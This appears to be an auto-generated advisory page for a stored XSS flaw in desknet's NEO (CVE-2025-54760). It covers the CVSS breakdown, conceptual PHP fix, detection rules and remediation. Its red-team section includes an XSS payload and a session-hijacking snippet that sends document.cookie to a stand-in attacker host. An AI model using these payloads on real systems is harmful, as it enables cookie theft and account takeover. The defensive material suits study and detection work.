CVE-2025-54760
Executive Summary
CVE-2025-54760 is a stored cross-site scripting (XSS) vulnerability affecting desknet's NEO V9.0R2.0 and earlier. An authenticated attacker with low privileges can inject malicious JavaScript into the application, which is then stored and executed in the browsers of other users who view the affected content. This can lead to session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known public exploit or patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) – An attacker needs a valid user account.
- User Interaction (UI): Required (R) – A victim must click or view the malicious content.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it persistent and dangerous within the application.
Deep Dive & Mechanics
The vulnerability resides in the desknet's NEO groupware application. Stored XSS occurs when user-supplied input is not properly sanitized before being stored in the database and later rendered in a web page. In this case, an attacker can inject malicious JavaScript into fields such as comments, task descriptions, or user profiles. When other users access these pages, the script executes in their browser context, allowing the attacker to perform actions on their behalf, steal session cookies, or redirect them to malicious sites.
The lack of output encoding or input validation in the affected versions allows the injection to persist. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described generically.
Vulnerable Code (Conceptual):
// Vulnerable: Directly outputs user input without sanitization
echo "<div>" . $_POST['comment'] . "</div>";
Patched Code (Conceptual):
// Patched: Uses htmlspecialchars to escape HTML entities
echo "<div>" . htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8') . "</div>";
The patched version would encode characters like <, >, ", ', and & to their HTML entity equivalents, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid user account on desknet's NEO V9.0R2.0 or earlier.
- Access to a feature that stores user input (e.g., comments, tasks).
Exploitation Steps:
- Log in to the application.
- Navigate to a vulnerable input field (e.g., a comment box).
- Inject the following payload:
<script>alert('XSS')</script> - Submit the form. The script is stored in the database.
- When another user views the page, the script executes.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
Detection:
- Monitor for unusual JavaScript in user input fields.
- Use web application firewalls (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding.
- Restrict user permissions to limit access to vulnerable features.
- Regularly audit user-generated content for malicious scripts.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing
document.cookieor similar data. - Host: Unexpected JavaScript in database entries (e.g.,
<script>tags). - Logs: Repeated failed login attempts followed by successful injection attempts.
Detection Engineering
YARA Rule
rule CVE_2025_54760_XSS {
meta:
description = "Detects stored XSS payloads targeting desknet's NEO"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-54760"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
condition:
any of them
}
Sigma Rule
title: Stored XSS in desknet's NEO
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in desknet's NEO logs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in user profiles
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54760 Stored XSS Attempt"; flow:to_server; content:"<script>"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or restrict user-generated content features if possible.
- Short-term: Implement a Web Application Firewall (WAF) with XSS rules.
- Long-term: Apply input validation and output encoding to all user inputs. Upgrade to a patched version when available.
- Compensating Controls: Use Content Security Policy (CSP) headers to block inline scripts.
Valters IT
Securing Your Digital Frontier
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.